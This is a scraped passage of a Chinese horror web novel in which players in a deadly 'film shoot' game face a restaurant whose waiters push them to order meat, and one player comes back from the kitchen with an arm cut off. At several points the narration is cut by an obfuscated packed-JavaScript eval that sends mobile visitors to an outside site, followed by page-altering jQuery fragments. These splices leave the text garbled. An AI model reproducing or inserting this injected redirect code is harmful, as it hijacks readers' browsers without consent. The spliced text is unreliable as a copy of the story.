“怎么会,我只是想着奔波一路你应该累了,距离大家集合去吃饭还有些时间,正好你可以去洗个澡放松一下,东西我来收拾就好。”他催眠自己就是许灼本人,说得无比自然。 “是吗?”纪然语气拉长,也没有过分为难楚昭的意思。毕竟刚刚经过降温那一遭,在极短的时间内温差跨度至少达到了四十度,确实让她身体吃不消。 即便现在温度升上来了,热到她重新冒汗,但还是需要点温热水去去寒气,和又回来的暑气。 这个控温能力,着实烦人。 卫生间似乎是目前属于安全范围内的地方,纪然拿着干净衣服再次进入。 等她出来的时候,这个剧本里面强扭的合格男朋友“许灼”,已经收拾好了房间,连被她翻乱的衣服堆也重新叠好,整齐地摆在衣柜里。只留下几件当时被她直接套身上的衣服,看起来像是准备洗的样子。 “真贤惠。”纪然擦着湿头发,一点也不尴尬地由心感叹了一句。 正在与化妆台镜子里的镜像对视的楚昭,神色淡漠地看着“自己”脸上的微笑。听到声音后,他移开了视线,看到走过来的纪然,重复道:“贤惠?” “是啊,贤惠,是男人最好的嫁妆之一,怎么了?”纪然随口回答道。她站到镜子前,扒拉了下头发,镜子里的两人镜像并没有什么问题。 刚皱起眉又强行放松下来的楚昭,逼自己微笑着说违心话:“没什么,宝贝你很会夸人。” “你要喜欢,我能多夸几句。比如——亲爱的,你洗衣服时的样子真帅,你拖地时展现出来的气质能迷倒万千少女,你做饭时的模样,简直令整个厨房都蓬荜生辉。”纪然回忆了一下夸赞语录,句句称赞。 楚昭:“……” 总感觉在道德绑架他。 纪然又看了一眼镜子,嘴角微勾。拿起被放在桌上的化妆包,从里面摸出一支口红,在镜面上画了一个笑脸。她扭头笑着问楚昭:“这样看,是不是顺眼多了?” 楚昭抬眼便看见她的镜像,在她扭头时依然保持着对视的姿势,那张红色的笑脸痕迹,刚好印在它阴翳的脸上。 画得位置这么准,巧合吗? “很好看。”他的目光轻轻掠过纪然,眼里浮现出淡淡探究,随即再次把视线投向镜子。看来这只鬼物,也不像是有多聪明的样子。 “收拾完了我就们走吧,该去跟大家汇合了。”纪然拿起沙发上的背包,悄悄把鬼怪图鉴放进去。 房间里的戏应该是演完了吧,虽然最后这一段他们两已经完全偏离剧本了。不过她夸了这么多句,怎么不算云初夏和许灼的感情升温呢? 而这本书可是她的大宝贝,要不是为了能在后续发生灵异时合理地拿出书来看信息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179158|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经拥有道具栏的她实在不愿意把道具放在背包里,总感觉没安全感。 其实她在进副本前也背了个包,但在进本后别说背包了,连衣服都全被换了,有些可惜她提前准备好的东西,全都派不上用场。 他们走出房间时,走廊上有不少人。饰演导演秦文心的钟玉珍走过来,对着他们说:“个人房间里的戏份可以告一段落,接下来我们需要去下个场景——餐馆里拍摄。剧组已经跟老板打好招呼,等下你们下楼跟老板对戏就行了。” 钟玉珍在初进副本时确实慌乱过一阵子,从在那个看起来很顺眼的小姑娘那里得到几句信息后,她已经接受了自己来到稀奇古怪异世界的现实了。趁着之前在车上的时间,她翻看了无数遍剧本,努力记着台词,现在直接背出倒不成问题。 “陈欣,张子坤,你们两再辛苦一阵子,务必确保下午戏份也能顺利拍完。我有预感,我们这部电影,肯定能卖个不错的票房。”她拍了拍两人的肩膀,像极了老板给员工画大饼时的姿态。 这一段戏份没什么难度,一群人沿着楼梯而下。高老板坐在服务台后面,听声音像是在看惊悚类的视频,电脑里时不时传来一些惊叫声。 宋承扮演的角色是个话痨,上前就与高老板攀谈起来。索性他本身就是个经验丰富的刑警,在执行任务时也有不少需要套话的行为,饰演段华的话唠感简直毫无压力。 很快,他便打探出不少消息,比如说高老板在这开店多久了,镇子里为什么只有一家宾馆,家里没有其他人吗之类的。纪然在一旁默默听着高老板在聊天时无意中透露出来的话,整合着信息。 反应快的玩家都能明白,这个与老板攀谈的人,没有选择私下与老板聊天,而是当着众人面问,是在很友好地分享信息。而反应慢的人,还在内心抱怨着,这个人问个餐馆怎么还磨磨蹭蹭的,根本没有细听他们的聊天。 尤其是饰演着田文俊的左毅,在这种时候显得无比烦躁,完全静不下心。心底深处仿佛有什么在叫嚣着、指引着,让他去某个地方。 其实左毅从一开始来到这个陌生世界没多久后,就因为OOC警告,被剧组里与“他”关系不好的人拉出去打了一顿,导致他都没有赶上大家出发的大巴车。 后来,躺在地上奄奄一息的左毅,感觉自己像身处在梦境里,昏昏沉沉的,很想就此睡过去,最好能一觉睡醒就回到原来的世界。在他意识即将模糊的时候,眼前出现了一双手,从头顶上方伸出,缓缓摸上他的脸。 冰凉又湿润的触感让左毅打了个激灵,瞬间惊醒了。他用自己满是青紫的手,阻拦了那双手扣住他下颌的动作。滑腻的肌肤擦过他的脸庞,带来些许刺痛。 在浑身疼痛下,这一点点微不足道的痛意,一下子唤醒了他。 左毅睁开眼,映入眼帘的便是艳阳高悬的天空。他发现自己躺在绿化带圈出来的一小块空地上,身上的伤口全都消失了。周围没有人,更没有那双奇怪触感的手。之前的一切,像仅是一场午睡时产生的梦。 但是好像,他变得有些不像自己了。 74. 第一天:第四幕1 从高老板口中得知附近最为好吃的特色店在一公里外的巷子里时,一群人就蠢蠢欲动。毕竟,他们从上午九点钟进副本到现在下午接近两点钟,几乎都没有进过食。 而程松云导演之前透露出来的消息,也暗示着大家不要先吃什么东西,等后面到了饭店里再吃。 或许是为了方便他们演出饥肠辘辘的感觉,为了拍摄的真实性,总而言之,剧组的工作人员并没有告诉他们任何其他信息。所以他们在打听到位置后,一路上走走望望,看起来还真像是来旅游的一群人。 这里的街道虽不如大都市那般繁华喧嚣,却散发着浓厚的生活气息。小镇规模有限,车流稀少,漫步其中,仿佛穿越回了几十年前的时光,远离了快节奏生活。 来到高老板所推荐的店门口,一群人你看我我看你的,有些呆愣住了。 纪然抬头看向招牌上的字——无间饭店。 这名字乍一看没什么问题,甚至在开始高老板说的时候,也没人察觉有哪里不对。但他们现在站在店门口,清晰地看见在这四个大字的边上,还有一行小字。 「就地取材,保证新鲜」 最为诡异的是,招牌的底色是深邃的黑色,而上面的字体,却是以鲜艳的红色呈现。 仔细看去,字迹的尾端还留有拖拽痕迹。配合着文字内容,诡异得如同一只断裂的手从地狱深渊中破土而出,在黑雾中挣扎着攀爬,鲜血从断裂处不断涌出,在地上拖曳出长长的血痕。 肖羽微微眯起双眼,作为老书虫,他对文字背后的含义有着敏锐的洞察力。而作为孟贺,玩家身份卡上直言的心思缜密之人,更是能意识到诡异之处。 在他拿到的剧本里并没有提到饭店招牌有何异常,甚至也没提到他们在门口遭遇异样之事。 不排除是因为有鬼物作祟蒙蔽他们双眼的可能,让他们无法看见真实场景。亦或是涉及到剧本之外的副本世界,比如说在这个副本里,就注定会在拍戏时碰到真正的诡异。 不管怎么说,在无声观察时,肖羽确定他们一行十二个人全都看见了这不同寻常的招牌。 暗中与队长宋承对了个眼神,他给自己加台词,感叹了一句:“这家店的装修风格还挺奇特的。”说完还拍了下身旁乔云深的肩膀。 在剧本中,乔云深扮演的角色白林与孟贺是多年的邻居;而在现实生活中,他们则是并肩作战近一年的队友。 虽然乔云深是年纪小了点,脑子却很灵活。收到肖羽的暗示后,他维持着白林的人设,那张正太脸上露出深沉的表情,抿着嘴轻轻点头,表示他会提高警惕的,不会离开队友视线范围。 见此,宋承默契地接话,故作语气轻松道:“跑那么远过来一趟,果然不虚此行。单是这招牌,看起来就感觉很有趣。” 一番话其实也是在提醒其他玩家,这家店连表面都透露着不同寻常,更何况店里面,恐怕会有什么危险。 纪然听见两人的声音,用手指顺了顺几乎快被高温烘干的头发,若有所思。 进副本前的那段较为平静的生活里,她看了不少肖羽安利的小说,现在瞧见这家店的名字后,她总感觉,上面写的不是“无间饭店”,而是“无间地狱”。 即便再怎么感觉不对劲,一群人还是走进了店里。进门便感觉一阵清凉感席卷全身,完全散去了在街上时的暑气。 店内装修古朴典雅,地板和桌椅均采用木质材料,阳光透过玻璃窗门洒落在内,使得整个空间显得格外明亮。里面坐着三三两两的人,像是同他们差不多,来吃迟来的午饭。 他们共十二个人,刚好分为三桌。 夏黎和陈长风架好摄影机后,便与李新咏和钟玉珍同坐一桌,他们四人全是扮演剧组人员的玩家。 宋承看了一眼身上散发异味的左毅,面不改色地把人拉过来,与肖羽和乔云深共聚一桌。 剩余的四人自然围坐在一起,纪然和楚昭对面便是叶柯和谢沫沫。乍一看,楚昭仿佛是误入女生聚会的异性,纪然瞧着都替他感到尴尬。 大家落座后,店里的服务员拿着菜单过来。纪然看了一眼菜名,全都是一些家常菜。只不过,菜单最前面也写着“就地取材,保证新鲜”八个字。 这样看着,总有一种他们这群玩家才是食材的感觉。 “你们是外地来旅游的吧?”纪然这桌的服务员在等他们点菜的时候,突然开口问道。 纪然抬起头,打量着说话之人。这人面色温和,虽无明显特征让人印象深刻,但脸上那抹松弛的笑意却格外引人注目。 面对这依然不在剧本里的问话,纪然已经确定了,在剧情空白期里,总是会撞见各种奇怪的现象。余光瞥见一旁的镜头,她故作诧异道:“我们表现得很明显吗?” 服务员点头:“我们镇上人少,来来往往就那些人,在店里待久了对常来的人都有印象。” 他伸手指向菜单上的几道菜,说:“你们是第一次来我们镇上玩,推荐你们点这几道菜,都是我们店的招牌菜,吃起来啊绝对包你们满意。” 循着他手指向的地方看去,纪然发现,他推荐的全是排在菜单前面的几道菜——红烧排骨、水煮肉片、狮子头。 全是纯肉的菜。 配合菜单最前面那八个字,感觉有些渗人。 叶柯坐在纪然对面,辨认了菜单上倒着的文字后,她惋惜地说:“看起来很好吃的样子,好可惜,我们几个要减肥呢,不能吃这些。请问有没有推荐的素菜呀?” 服务员脸上的笑意淡了几分,对着这桌唯一的男性客人问:“那这位先生呢?女孩子要减肥吃点素菜很合理,您一个大男人不会也要吃素减肥吧?” 这一番道德绑架的话,令纪然和叶柯都有些皱眉。她们清楚地知道,在副本这种古怪的地方,除了他们玩家之外的人,几乎全都是NPC。服务员的设定让他说出这样的话,显然推荐的菜肯定有什么问题。 楚昭一直安安静静地坐在那,存在感极低,直到被点名问话。他没理会服务员语气里的咄咄逼人,反而说了一句让所有人都意想不到的回答:“这个我做不了主。” “什么意思?”服务员脸色阴沉下来。 “我能吃什么,得看我女朋友,”楚昭神色自若地接过菜单翻了翻,又还给纪然,“宝贝你看看我要吃什么。” 纪然:? 好小子,这么甩锅是吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179159|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服务员阴恻恻的眼神已经看过来了,纪然只来得及瞪了楚昭一眼,便大脑飞速运转,在短短几秒内还真令她想到了一个借口。 “他确实要减肥,”纪然说着,伸手拍了拍楚昭的手臂,“你别看他现在身材还好,实际上他之前胖到有三四百斤了。要不是我天天督促他的饮食和逼着他减肥,他哪里能有现在的人模狗样。” 顿时,服务员投向楚昭的目光里带着不敢置信。 楚昭:? 纪然又伸手摸向他的腰身,说:“你看看他这腰,这肌肉,哪里能想到一年前他还胖得不成人形,整个人自卑到几乎要碎了。得多亏了我,一直鼓励监督逼迫他,他才能重新做人……不是,重拾信心,拥有健康的身体。” 还好她反应快,这个理由简直完美极了。想到这,纪然悄悄用力拧着他腰侧的肉,这个可恶的狗男人,居然甩锅到她头上。 楚昭低着头,一声不吭,看起来一副很是内向的模样,实际上暗地里他在试图拉开纪然掐他的手。 “要不然怎么说他现在爱我爱到要死要活根本离不开我的呢,就因为他是个喝水,不,他是个连吸口空气都会胖的易胖体质,而我是知道他黑历史的人。”纪然嘴角含笑,越说越顺,在镜头与其他人都看不到的角度,手上与楚昭较着劲。 “所以他根本不敢离开我,除了日常的疯狂锻炼外,还需要我监督他的饮食,这些重油盐的食物他都不能吃。他这张脸,要是再胖毁容了,该多么暴殄天物啊。”纪然说的话,令这桌的几人,男默女泪。 当然,叶柯和谢沫沫是掐腿憋笑憋出来的泪。 服务员上上下下来回打量着楚昭,若有所思道:“好像……啧,确实,他这种相貌身材要是再胖回去,实在是太……” “那也太对不起我了,对吧,我也是这么想的。好不容易调教出来的,怎么能在吃的上面被毁了。”纪然说得慷慨激昂,中途想起来人设,又切成了矫揉做作的语气。 楚昭闭了闭眼,对自己在这个副本里的名声已经绝望了。有这么一个借着剧情空白期,当着正主面疯狂造谣的“女朋友”在,清白?那是什么东西? 何况,她这也算是在为他找理由开脱,从某种程度上说,确实帮他化解了麻烦。 服务员被纪然的一连串话给说服了,又扫视几眼楚昭,咂了几下嘴,脸色恢复一开始的正常,没再强求她们必须点肉食。 三个女生商量着,点了几道素菜,便把菜单交给服务员。而这桌唯一的异性,他没有点菜权。 其他两桌也面对着服务员搭话后让他们点肉食的场景。 离纪然这桌比较近的宋承他们,自然也听到了她瞎编的全过程。宋承在看见服务员逐渐狰狞的脸后,略微思索,欲言又止:“其实……我之前也挺胖的。” 同样听到纪然说辞的服务员:? 肖羽差点没绷住笑。他冲着边上乔云深挑了下眉,然后学着宋承止欲又言:“其实我也……” 收到暗示的乔云深言止又欲:“我也……” 左毅:“……” 一股无名火气涌上心头,强烈的饥饿感让他指着菜单大声道:“我要吃肉!” 75. 第一天:第四幕2 李新咏所在的这一桌,三名玩家他全都不认识,而以他观察到的肢体语言来说,这三人也互不相识。不过,除了年纪最大的“导演”之外,另外两名“摄影师”倒是在副本里融入得很快。 他们第一小队的五人是同时进入到副本里的,且出现时的位置也颇为接近。从认识纪然后,通过她引来了不少所谓的游戏玩家开始,他们几人就对这个神秘未知的游戏充满警惕。 今天早上拆开多出来的快递后,他们才发觉,自己也被游戏选中了,甚至还有种悬着的心终于落下的感觉。 不过,虽然无限游戏会随机挑人进副本,但进来后他们每人都获得了一个新手礼包,能随机开出道具和技能。看来,这个游戏也不是真的想置于他们死地。 面对服务员推荐的三道菜,李新咏露出慈悲的微笑:“我信佛。” 剧组这桌的服务员显然没前面两个好说话,他脸上的皮肤开始裂开,一双死气沉沉的眼睛紧盯李新咏,嘴角一咧:“你在骗我。” 瞧见这人裂开的皮肤缝隙里蠕动的蛆后,李新咏叹了口气:“信佛人从不打诳语。” 坐他对面的夏黎挠了挠头,总感觉这话很耳熟,但这人的话,给了她一个灵感。 见服务员的脸上开始往下掉蛆,李新咏以怜悯的眼神看向推荐菜品,语气颇为沉重:“天地生万物,万物皆有灵。我怎可擅自剥夺它们存活的权利,只为逞口腹之欲。我只愿从自身做起,往后余生吃斋念佛,为死去的生灵积功德。” 他双手合十,双眼轻合,神情十分诚恳。 这一番话,说得旁桌的宋承四人都忍不住侧目,也就纪然她们隔得有些距离,加上老旧风扇的噪音,让她们听不清具体内容,但看到李新咏的动作也能明白个七八。 再次男默女泪了。 夏黎在他说完后,立马激动地站起来:“好!说的太好了!大师!我悟了,大师!” 她噌噌绕到李新咏边上,鞠了个躬,热泪盈眶道:“难怪我每次吃肉都感觉良心不安,辗转反侧夜不能寐都找不到原因。现在听大师您的一席话,我悟了啊!” 李新咏:? “原来我也是有信仰的人,我简直就是天生的吃斋念佛圣体!从今往后,我决定跟着大师开始修行,为自己前二十几年犯下的错来赎罪!”夏黎双手抱拳,感觉不对劲,又换成双手合十的动作,对着李新咏拜了拜。 李新咏:“……” 好尴尬,下次他再也不笑别人的社死了。 他们两人的一番操作,给钟玉珍和陈长风看得是目瞪口呆。 虽然很不情愿,但服务员还是停下了异变,脸上慢慢恢复正常:“那行吧,你们两吃素。其他人呢?可别说你们也信佛或者要减肥,我是不会信。”最后一句话他说得咬牙切齿。 “这个……”陈长风和钟玉珍对视一眼,现在就剩他们两没做选择了。毫无意义,这三道菜绝非寻常,肯定有问题,所有带肉的菜肴,全都不能吃。 作为这次副本玩家里最年长的人,钟玉珍虽然对游戏和副本没多少了解,生活经验却十分丰富。 她捂住胃部,皱着眉一脸为难地说:“唉,实不相瞒,由于我年轻时不爱惜身体,昼夜颠倒三餐错乱,现在年纪大了,报应来了啊。” 「警告:玩家OOC一次,增加25%仇恨值」 钟玉珍愣了一下,这也算OOC? 服务员看向她的眼神里带着审视:“什么报应?” “我得了胃癌,”她不顾警告,还是按照自己编出来的理由继续说,“好在还是初期阶段,医生说让我日常注意饮食,少吃油腻的东西,还是能好起来的。” “……”服务员的视线来回扫视着她,眼睛里不断翻腾着黑雾。 钟玉珍硬着头皮演下去,心里却焦急起来。若再不能获取服务员的信任,下一次的OOC警告又要来了。 幸好,服务员没打量多久,最终还是信了她的话:“那你要好好注意身体。” 钟玉珍松了口气,点点头。 现在压力来到了陈长风身上。他唯一的护身道具,在大巴车里的时候就碎了,此时的他脆得跟新人没什么区别。 “你吃什么菜?”服务员的脸在陈长风的眼前放大,皮肤上再次冒出裂开的纹路。 “我……”他想不出还有什么理由能骗过服务员,在看到那皮肤里蠕动的蛆后,他是一点都不想吃肉了。 “我给你推荐的三道菜都不喜欢吗?”服务员的眼白逐渐被黑色吞噬,表情变得亢奋异常,声音越发诡异难测。他脸上的裂纹已经弥漫到了全身,如同破碎的瓷器,让人不寒而栗。 冷汗从陈长风的额头渗出,他放在腿上的手掌里悄悄冒出一个玻璃球。 注意到旁边人手中有微弱反光的李新咏,垂下眼观察他的动作,见他手里像是拿着什么东西,一副准备丢出去的样子。 “他喜欢吃的菜太多了,不妨给他些时间,慢慢挑选。”李新咏拦住他的动作,抬头对服务员的异样外表视若无睹,温和地开口说道。 陈长风如同抓住救命稻草一般迅速开口:“对,大师说得对,我再看一看菜单。” 李新咏无语:“……我们是同事,不用喊我大师。” 没有合适的理由,陈长风无法点素菜,只能硬着头皮在菜单上琳琅满目的荤菜中,找点肉类相对较少的菜。 他看来看去,里面几乎全是含有大量肉的纯荤菜——酱肘子、糖醋里脊、盐焗鸡等,最后勉强选了一份鱼香肉丝。 “鱼香肉丝吗?好的,先生,请您稍等。”服务员在听到陈长风的选择后,面色缓和了许多,裂纹遍布的皮肤慢慢合拢。态度也随之转变,言语间流露出前所未有的礼貌。 待三名服务员走后,一群人紧绷的精神才稍微松懈了几分。 纪然相信自己的小伙伴们不会被这点问题给难到,不过其他玩家就说不定了。果不其然,十二个人里,就有两人点了荤菜。 “你说这肉,它正规吗?”纪然左看右看后,悄声问身旁的老玩家,“好像也没什么反应。” 前言不搭后语的两句话,同样身处其中的楚昭倒是能听明白她在问什么,轻声回她:“这么关心他们?” 那两人又不是她的朋友,既然已经避开了荤菜,何必再去深究那究竟是什么肉。 “怎么,你吃醋了?”纪然促狭地看着他,还没等他回答,就拍了一下他的肩膀,笑眯眯地说,“别吃醋,我全部的注意力都在督促你保持身材上,没有空关心别人。” 楚昭:“……” 很快,室内门被人从里面推开,两名熟悉的服务员从新走进玩家的视野,是招待过宋承那一桌和李新咏那一桌的两人。他们径直朝玩家的方向行进,直至在左毅与陈长风身侧停下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179160|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为了保障食材的极致新鲜,并让每一位尊贵的客人能够安心享用每一口美食。在准备荤菜之前,我们会邀请点菜的客人亲自前往后厨,检查厨师们准备的食材,确保每一道菜的新鲜程度都能让客人满意。”两名服务员的脸上都挂着如出一辙的微笑,说话同步得像是同一个人说出来的。 陈长风心中涌起一股不好的预感。 他们盯着两人,面带诚恳地做出“请”的姿势:“所以,我们诚挚地邀请两位先生,随我们一同前往后厨,见证食材的新鲜程度。” 左毅“噌”地一下站起身,被饥饿支配的身体本能地跟在服务员的后面,即便他的眼底深处,带着抗拒。 另一名服务员直勾勾盯着陈长风,如同猎鹰凝视猎物,不达目的誓不罢休。 在这种强烈的注视下,陈长风感到了一种无形的压力。他紧握着手中的道具,还是选择了站起身跟着他走。毕竟,那道目光逐渐变得尖锐,仿佛再不跟着走,后果将不堪设想。 其实纪然也挺想跟着去看一眼的,但店里还有一名服务员在那盯着,而通往后厨的唯一路径是那扇四周毫无遮掩的门。况且,她还有人设限制,不能暴露出任何自己的能力。 十名玩家目送着两人走进那扇门里,随着服务员的关门动作,所有人窥探的视线全被隔绝在外。 一时间,整个饭店大堂里都有些安静。仅有的声响来自四周零星的食客,他们交谈着,杯盘汤匙时而碰撞出清脆声音,头顶的风扇发出的嗡嗡的噪音。 那些食客自始至终都保持着正常吃喝与交流,仿佛根本就没看到之前服务员几乎变异似的诡怪模样。 “他们……”纪然侧对面的谢沫沫嗫嚅着,声音很轻,生怕惊扰到了什么,“还能回来吗?” 叶柯早就看出来了,这位扮演她室友叶莜竹的年龄不大的女生,同样是一位初涉游戏的新人。而且,这个女孩子似乎胆子很小。 深知对方内心恐惧所在,她一语双关地安慰道:“别担心,这段不在‘剧本’里,或许是导演与现场的群演们,即兴为我们加了一场戏。” 除了扮演剧中剧里的角色外,她们还需要扮演本身恐怖电影里的演员,所以她不能说出过于离谱的话,而这一句便直接包含了她们的两种“演员”身份。 往好处想,副本第一天一般不会发生致命危险,去后厨的两人应该不会有什么问题。 况且,无论是她们手里的剧本,还是剧中剧里的内容,都没有提到在饭馆里大家到底发生了什么,只简单描述了一行人正常地吃了顿饭。 面对这剧本里不存在的突发情况,谁也不知道会发生什么,但总不能一直陷入恐慌中,影响后续的演戏状态。 纪然看了一眼手机时间,那两人进去有好几分钟了,一些简单的素菜凉菜已经被服务员端上了桌。 见菜已上桌,两人还没回来,便有人向服务员询问:“请问,我们的两个朋友进后厨有段时间了,怎么还没回来?” “他们还在检查呢,马上就回来了。制作荤菜要比素菜麻烦些,我们店都是现点现做,对食材的要求很高。”服务员态度很温和,从他轻松的表情中可以感受到他心情的愉悦。 然而玩家们在见到他脸上的笑容后,总感觉有些渗人。 随着三桌素菜陆续被端上桌,那扇不断有人进出的门里,终于走出两个熟悉的声影。 76. 第一天:第四幕3 是几分钟前被服务员带走的两名同伴。 之前分房间时,玩家们已经互相辨认出每名玩家对应的角色,记住了彼此的样貌。两人的身影一出来,他们便认出来了。 张子坤的外表看起来没什么大碍,只是脸色苍白面露恐惧,搀扶着田文俊缓缓前行。相较之下,田文俊的状况则触目惊心。 玩家们可以清楚地看见,被搀扶着的男人,衣服左侧袖口下从大臂中间开始空空如也——他少了一条胳膊,好像已经被止过血了,仍然有少许鲜血顺着他捂着断口的右手下滑落。 “嘶——”谢沫沫顺着其他人的目光回头,顿时倒吸一口冷气,双手捂住嘴,满眼不敢置信,“他……” “他点的什么菜?”纪然收起眼中的惊愕,扭头问隔壁桌的宋承。 肖羽在瞧见有伤情后便过去扶着人,宋承紧盯着田文俊空荡荡的袖子,目光沉沉回答:“红烧排骨。” 排骨?那不得剁肋骨和衔接的肉吗,怎么他少的是手臂? 纪然皱着眉,想不明白排骨和手臂之间有什么关联性,如果在已知的情况里出现随机性,那后续他们遭遇的风险只会更高。 “第一天。”耳边传来楚昭压低的声音。 “什么第……”话问到一半,纪然想起来他曾说过的—— 「非剧情杀的角色,在第一天不自己找死就绝对安全。」 所以绝对安全指的是不会失去性命,但不保证不会断手断脚? 那么,田文俊他们俩进后厨,是非自愿的死亡选择。本该要被带肉取下他的肋骨,但这要是被剁下来,内脏露在空气里,他也活不了多久。 在第一天的新手保护期里,游戏会避免让他死亡,于是由必死的部位,换成了不影响生命的手臂。 乔云深看到这一幕,抿了抿唇,话到嘴边又咽了回去。起身绕到桌对面查看田文俊,也就是左毅的伤口情况。 “手臂末端创面整齐,肱骨于中部横断,血管损伤,而近端创口鲜血仅少量外流,其他部位无伤,据其损伤形态符合菜刀类或砍刀类砍切所致。”乔云深轻轻撩起左毅的短袖袖口,观察着手臂的断裂面。① 半截大臂下方能看见肉里面被染红的断裂肱骨。似乎已经用治疗类的道具止过血,否则这种损伤不可能短短几分钟内就能控制住流血,但伤口并未得到处理。在左毅浑身控制不住的哆嗦中,平整的创面下有少量活动性出血。 越观察他越是心惊:“人体骨骼最坚硬的是骨皮质,水、脂肪、有机物和无机物等物质,所构成的组织结构保证了骨骼的坚硬度,同时使骨骼具有弹性和韧性。以截断创口来看,这是被一刀直接砍断的。”② 人大臂里的肱骨作为承受拉力和压力的能耐,仅次于胫骨。而在纵向拉力强度的实验中,肱骨比花岗石还要耐力,而它的抗压强度高达722千克,在弯曲试验时可承受最大不断裂的负载也达到了215千克。③ 这样的硬度,居然会被刀类一下砍断,简直不可思议。 听懂了他话里意思的肖羽,帮他翻译道:“按理说即便是受过专业训练的人,也不可能一刀就这么完整地砍掉人的肱骨——手臂大臂这里的骨头,所以……” 所以,砍掉田文俊手臂的存在,不会是人。 纪然在心里补完肖羽未明言的话。 作为一个无论是剧本里还是现实里都是学医的乔云深,虽然本体是法医,不过检查下伤口还是没问题的。在检查了左毅的情况之后,他转而前往另一张桌子,去查看陈长风的伤势。 陈长风同样遭受了一些伤害,但与左毅的伤情相比,他的情况显得较为轻微——胳膊上只是被削去了一小块肉,虽然疼痛,却并不像左毅那样严重。 况且他用过止血道具,除了痛之外,伤口已无大碍。 乔云深看完情况后,说:“以防万一,最好还是去医院打个破伤风疫苗。” 陈长风点头,他的治疗道具很低级,只能用来止住血,无法愈合伤口,全靠自身人体的细胞修复,需要等段日子了。 而且现在回忆起之前在后厨里发生的一切,他都感到心惊。 根本没有反抗的力量,整个人像是陷入了泥沼里,越挣扎越是被禁锢得厉害,仿佛连呼吸都要被剥夺。他只能眼睁睁地,看着那个所谓的厨师,以打量货物的眼神,在他身上来回打量。 那一刻,他感觉自己像是一头待宰的猪,而厨师如同屠夫似的,在挑选待宰的牲畜,盘算着从哪一处下手,能获取最鲜美的肉块。 特别是,在亲眼目睹另一名玩家被活生生砍断手臂后,那痛苦的哀嚎声穿透耳膜,直窜到人灵魂深处。 他看见厨师的目光落在他的大腿上,那种眼神,似乎要把他整条腿给卸下来。 不过,也许是他点的菜需要的肉不多,最后他仅是被用刀削掉了手臂上的一块肉,虽然痛,却并未危及生命。这让他松了口气,趁着厨师的注意力被其他事物吸引,连忙顶着OOC警告取出止血道具。 不仅给自己止了血,还好心地给另一名玩家止血,不然那出血量,这人恐怕活不了多久。按理说这种副本的第一天不应该会出现致死的伤害,难道所谓的新手保护,只是保证在当时的伤害里不致命,后续是死是活就不管了吗? 越想越心惊,而且这个玩家也很奇怪,除了念台词时外,其他时候一言不发。唯一一句非台词的发言还是刚才在点菜时,莫名其妙地喊着要吃肉。 陈长风给人止完血后,见厨师已经着手处理人肉做菜了。一股恶心感涌上心头,他干呕了几下后,趁着厨师专心炒菜时,拉起像具尸体的左毅赶紧开溜。 奇怪的是,这人身上的味道总令他觉得好像在哪闻到过。 室内透亮的光线下,纪然扭头盯着左毅的断臂处,越看越奇怪。 这个新玩家从第一次出现在化妆间里时,表现出来的浮躁又自我的样子很明显OOC了,毕竟他们的身份都是演员,不可能拉着剧组人员嚷嚷着放自己回去。 所以,现在这个人怪异的模样,是OOC后的什么惩罚吗?哪有浮躁的人被砍掉手后还一声不吭的,从他生理性颤抖的身体上就知道,他对疼痛的感知并没有消失。 现在,面对受伤的玩家,宋承他们几人,无论是作为刑警,还是作为副本里的演员,亦或是作为剧本里田文俊的同学,他们都不可能袖手旁观,对同伴受伤放任不管。真冷眼看待,反而直接会崩人设。 “送他去医院吧,血管损伤最好在创伤后4到6小时内开始进行手术治疗,况且他这骨头……”乔云深毕竟不是专业的医生,虽然也学过相关的知识,但在没有专门的医疗用品的情况下,即便左毅的伤口已经止了血,保险起见,最好还是送到医院去接受治疗。④ 虽然很奇怪这个玩家为什么对自己受伤毫无反应,呆呆地坐在那像个木头人似的,但肖羽还是站起身:“我送他去吧,你们继续吃饭。” 毕竟,谁也不清楚如果人都走了,会不会影响拍摄,导致剧情更改,引发全员OOC之类的。 “你们注意安全。”宋承点头,提醒着肖羽。 左毅沉默着,跟在肖羽身后。 还没等两人走到门口,程松云导演和几名工作人员就从大门口鱼贯而入,阻断了他们的去路:“现在是拍摄时间,你们要去哪?” 这冷漠的语气令肖羽眉心微皱:“他受伤了,需要去医院治疗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他还试图以上厕所为理由逃避,却发现自己无论如何都无法穿过店里的门,无形的空气墙阻拦了他所有的反抗。 